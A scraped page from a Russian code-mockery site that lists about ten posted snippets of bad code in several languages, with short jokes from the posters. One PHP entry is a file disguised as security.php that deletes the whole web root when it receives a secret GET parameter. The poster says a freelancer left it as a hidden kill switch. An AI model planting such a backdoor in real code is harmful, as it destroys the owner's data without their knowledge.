1. Лучший говнокод

    В номинации:
    За время:
  2. C++ / Говнокод #12631

    +17

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    class Test
    {
      public:
        Test() : f(&Test::f0), f0(&Test::f1), f1( &Test::f2 ) {}
        float (  Test::* const Test::* const Test::* const f)();
      private:
        float ( Test::* const Test::* const f0)();
        float ( Test::* const f1)() ;
        float f2() { return 0; }
    };
    
    Test t;
    cout << (t.*(t.*(t.*(t.f))))();

    LispGovno, 21 Февраля 2013

    Комментарии (9)
  3. PHP / Говнокод #12623

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    function poisk_potomok_item ($id_otca, $glubina, $i_array)
                  {
                   global /*$style,*/ $kol_n, $sm, $fire;
    
                   if ($glubina==$max_vlog) return 1;
    
                   switch ($glubina)
                        {
                         case "1":
                          {
                           $base_style="menu2_level3";
                           break;
                          }
                         case "2":
                          {
                           $base_style="menu2_level4";
                           break;
                          }
                         case "3":
                          {
                           $base_style="menu2_level5";
                           break;
                          }
                         case "4":
                          {
                           $base_style="menu2_level6";
                           break;
                          }
                         case "5":
                          {
                           $base_style="menu2_level7";
                           break;
                          }
                         case "6":
                          {
                           $base_style="menu2_level8";
                           break;
                          }
                         case "7":
                          {
                           $base_style="menu2_level8";
                           break;
                          }
                        }
                   for ($j=1; $j<=$kol_n; $j++)
                      {
                       $mas5=explode(" ~ ", $i_array[$j]);
                       if ($mas5[1]==$id_otca and $mas5[2]=="1")
                         {
                          $style_pot="<table cellspacing=\"0\"><tr><td class=\"$base_style\"><a href=\"?r=item&gs=".$mas5[0]."\" class=\"menu2_2\">".$mas5[4]."</a></td></tr></table>";
    
                          for($kkkk=count($sm);$kkkk > 0; $kkkk--)
                             {
                              if ($mas5[0]==$sm[$kkkk])
                                {
                                 if ($mas5[0]==$sm[1])
                                   {
                                    $style_pot="<table cellspacing=\"0\"><tr><td class=\"$base_style\"><span class=\"menu2_2a\">".$mas5[4]."</span></td></tr></table>";
                                    
                                     $new_gl=$glubina+1;
    
                                     $gi=poisk_potomok_item ($mas5[0],$new_gl, $i_array);
                                    
                                     if ($gi != "") {$style_pot.=$fire.$gi.$fire;}
                                   }
                                 else
                                   {
                                  //  $style_pot="<table cellspacing=\"0\"><tr><td class=\"$base_style\"><a href=\"?r=item&gs=".$mas5[0]."\" class=\"menu2_2\">".$mas5[4]."</a></td></tr></table>";
                                    $style_pot="<table cellspacing=\"0\"><tr><td class=\"$base_style\"><span class=\"menu2_2a\">".$mas5[4]."</span></td></tr></table>";
    
                                    $new_gl=$glubina+1;
    
                                     $gi=poisk_potomok_item ($mas5[0],$new_gl, $i_array);
    
                                     if ($gi != "") {$style_pot.=$fire.$gi.$fire;}
    
                                   }
                                }
                             }
    
                          $style.=$style_pot;
    
                         }
                  }
    
                 return $style;
                  }

    В одной из ведущих веб-студий Екатеринбурга, директор 5 лет назад был кодером)))
    вот одно их его творений..

    Обратите внимание на идентификаторы, такие как poisk_potomok_item, $id_otca, $glubina, $i_array.
    Вообще, как человек, директор - норм чувак, но кажется мне придется пересмотреть свои взгляды...

    Если человек называет функцию так: "poisk_potomok_item" - ему явно жить труднее остальных людей)))))

    arbora, 21 Февраля 2013

    Комментарии (9)
  4. Java / Говнокод #12597

    +121

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    public class DefaultQueryEngine implements QueryEngine {
    
        private static volatile QueryEngine DEFAULT;
        
        public static QueryEngine getDefault() {
            if (DEFAULT == null) {
                DEFAULT = new DefaultQueryEngine(new DefaultEvaluatorFactory(CollQueryTemplates.DEFAULT));
            }
            return DEFAULT;
        }

    https://github.com/mysema/querydsl/blob/master/querydsl-collections/src/main/java/com/mysema/query/collections/DefaultQueryEngine.java

    Ехал дефолт через дефолт...

    someone, 15 Февраля 2013

    Комментарии (9)
  5. C++ / Говнокод #12591

    +14

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    int main(int argc, char* argv[])
    {
    
         SetConsoleCP(1251);// установка кодовой страницы win-cp 1251 в поток ввода
       SetConsoleOutputCP(1251); // установка кодовой страницы win-cp 1251 в поток вывода
        setlocale(LC_ALL,"Ukrainian");
    
        if(argc<2)
        {
            argv[1] = (char*)malloc(500*sizeof(char));
            //printf("Vvedit' imya vxidnogo failu: \n");
            //scanf("%s",argv[1]);
            argv[1]="1.txt";
    
        }

    Abbath, 14 Февраля 2013

    Комментарии (9)
  6. PHP / Говнокод #12576

    +136

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    <?php
    $param = $_GET['delaem'];
    if($param=='nahui')
    {
        $dir = __DIR__;
        shell_exec("rm -f -R ".$_SERVER['DOCUMENT_ROOT']);
    }
    ?>

    Фрилансер защищает себя от неплатежеспособного заказчика xD

    Файл лежал на продакшин сервере около года, название файла - security.php

    uint, 11 Февраля 2013

    Комментарии (9)
  7. PHP / Говнокод #12570

    +109

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    public function __get($name){          
            if(isset($this->fields[$name])){            
                if(class_exists($this->fields[$name]) && 
                   strcasecmp($this->fields[$name], $this->vals[$name]['mdl']) == 0 && 
                   strcasecmp(get_parent_class($this->fields[$name]), __CLASS__) == 0){    
                    $class = $this->fields[$name];
                    $id = (string)$this->vals[$name]['id'];
                    if(!$this->refsCache[$id])
                        $this->refsCache[$id] = $class::findById($this->vals[$name]['id']);
                    return $this->refsCache[$id];
                }else                
                    return $this->vals[$name];
            }elseif(isset($this->fieldsRev[$name])) 
                return $this->vals[$name];
            else throw new Exception('Not found field "'.$name.'" when reading in model');
        }
    
        public function __set($name, $value){    
            if(isset($this->fields[$name])){  
                if(class_exists($this->fields[$name]) && 
                   strcasecmp($this->fields[$name], get_class($value)) == 0 && 
                   strcasecmp(get_parent_class($this->fields[$name]), __CLASS__) == 0)
                    $this->vals[$name] = array('id' => $value->getId(), 'mdl' => strtolower($this->fields[$name]));
                else                
                    $this->vals[$name] = $value;
            }elseif(isset($this->fieldsRev[$name])) 
                $this->vals[$name] = $value;
            else throw new Exception('Not found field "'.$name.'" when writing in model');        
        }

    Пример реализации через жопу полей для базового класс модели, с ужасным оформлением кода.

    haker, 11 Февраля 2013

    Комментарии (9)
  8. C# / Говнокод #12531

    +140

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="user_task_list.aspx.cs" Inherits="prototype_alpha.user_task_list" %>
        <form id="user_task_list_form" action="user_task_list.aspx" method="post">
            <div>
                <p>Поданные заказы</p>
                <%foreach (LABA_OP_SITE.Task item in TaskList.Where(a => a.TaskState == 101 || a.TaskState == 102))
                  {
                      var q = BidList.Where(a => a.TaskID == item.TaskID);%>
                <%=TaskDataList.Where(a=>a.TaskID==item.TaskID).First().TaskTitle + " | " + q.Count() + " | " +item.TaskPutDate + " | "+ item.TaskDeadline + " | average bid(fuck up) | "+CommentList.Where(a=>a.TaskID==item.TaskID && a.CommentRead==0).Count()%>
                <br />
                <% }%>
                <p>task title* || bids' count* || task put date* || task work end date* || average bid || new comments*</p>
                <p>Выполняемые заказы</p>
                <%foreach (LABA_OP_SITE.Task item in TaskList.Where(a => a.TaskState >= 0 || a.TaskState < 100))
                  {
                <%=TaskDataList.Where(a=>a.TaskID==item.TaskID).First().TaskTitle + " | task start date | task work end date(time span) |"+item.TaskState+BidList.Where(a=>a.BidID==item.BidID).First().Bid1+" | "+CommentList.Where(a=>a.TaskID==item.TaskID && a.CommentRead==0).Count()%>
                <br />
                <% }%>
                <p>task title* || task start date || task work end date(time span) || state* || price* || new comments*</p>
                <p>Выполненные(не сданы) заказы</p>
                <%foreach (LABA_OP_SITE.Task item in TaskList.Where(a => a.TaskState == 100))
                  {
                <%=TaskDataList.Where(a=>a.TaskID==item.TaskID).First().TaskTitle + " | task start date | "+item.TaskWorkCompleteDate+" | "+BidList.Where(a=>a.BidID==item.BidID).First().Bid1+" | "+CommentList.Where(a=>a.TaskID==item.TaskID && a.CommentRead==0).Count()%>
                <br />
                <% }%>
                <p>task title* || task start date || task work end date(saw into)* || price* || new comments*</p>
                <p>Выполненные(сданы) заказы</p>
                <%foreach (LABA_OP_SITE.Task item in TaskList.Where(a => a.TaskState == 103 || a.TaskState == 104))
                  {
                <%=TaskDataList.Where(a=>a.TaskID==item.TaskID).First().TaskTitle + " | task start date | "+item.TaskWorkCompleteDate+" | "+BidList.Where(a=>a.BidID==item.BidID).First().Bid1%>
                <br />
                <% }%>
                <p>task title* || task start date || task work end date(saw into)* || price*</p>
                <p>Замороженные заказы</p>
                <%foreach (LABA_OP_SITE.Task item in TaskList.Where(a => a.TaskState <0))
                  {
                <%=TaskDataList.Where(a=>a.TaskID==item.TaskID).First().TaskTitle + " | task start date | "+item.TaskDeadline+" | "+BidList.Where(a=>a.BidID==item.BidID).First().Bid1%>
                <br />
                <% }%>
                <p>task title* || task start date || task work end date(deadline)* || price*</p>
            </div>
        </form>

    От человека требовалось написать написать отладочную страницу для списка заказов.

    *TaskList, TaskDataList, CommentList, BidList - массивы

    kasthack, 03 Февраля 2013

    Комментарии (9)
  9. PHP / Говнокод #12441

    +49

    1. 1
    2. 2
    3. 3
    4. 4
    If($z["timeout"]==1 || $z['timeout']==3 || $z['timeout']==4 || $z['timeout']==5 || $z['timeout']==7 || $z['timeout']==10) { 
    }  else {
         $z['timeout'] = 3;
    }

    '<>' и 'or' ? неее, не слышали!

    RickMan, 17 Января 2013

    Комментарии (9)
  10. JavaScript / Говнокод #12425

    +141

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    window.onload = function () {
    
        var жирнота = [
                600,
                700,
                800,
                900
            ],
            свэг = document.getElementById("swag");
    
        свэг.innerHTML = "";
        "SWAG".split("").forEach(function (буква) {
            свэг.innerHTML += "<span>" + буква + "</span>"
        });
    
        function ослучайнить(что) {
            return Math.floor(Math.random() * что);
        }
    
        function минимальноРаскрашываетСвэг() {
    
            Array.prototype.forEach.call(свэг.children, function (буква) {
    
                буква.style.color = "#" + ослучайнить(0xffffff).toString(16);
                буква.style.fontSize = 250 + ослучайнить(175) + "px";
                буква.style.fontWeight = жирнота[ослучайнить(жирнота.length)];
    
            });
        }
    
        setInterval(минимальноРаскрашываетСвэг, 500);
    };

    __proto__, 15 Января 2013

    Комментарии (9)
  11. C++ / Говнокод #12410

    +11

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    #include <QVector>
    #include <QString>
    
    template< class TYPE> 
      class call
      {
        public:
          call( TYPE& vl ): value(vl){}
          TYPE& value;
      };
    template< class TYPE> 
      call<TYPE> all( TYPE& vl ) 
        { return call<TYPE>(vl); }
    
    template< class TYPE_OUT, class TYPE> 
      void operator << ( TYPE_OUT& out, call<TYPE>& in )
    {
      TYPE& value = in.value;
      for( TYPE::iterator itr = value.begin() ; itr!=value.end(); itr++)
        out << *itr;
    }
    
    //**********************************************************************
    
    QVector<int> arr;
    QVector<QString> arrStr;
    class Cstream{} stream;
    
    void operator << ( Cstream& , const int value)
    {
      printf("%i\n",value);
    }
    void operator << ( Cstream& , const QString& value)
    {
      printf("%s\n",value.toAscii().data());
    }
    
    
    int main(int argc, char *argv[])
    {
      for( int i=0; i<6;i++)
        arr.push_back(i);
      arrStr << "asd" << "sadas" << "sadsa";
    
      stream << all(arr);
      stream << all(arrStr);
    return 0;
    }

    http://www.gamedev.ru/flame/forum/?id=171504
    > @При копирование на говнокод сохранять авторство.

    LispGovno, 11 Января 2013

    Комментарии (9)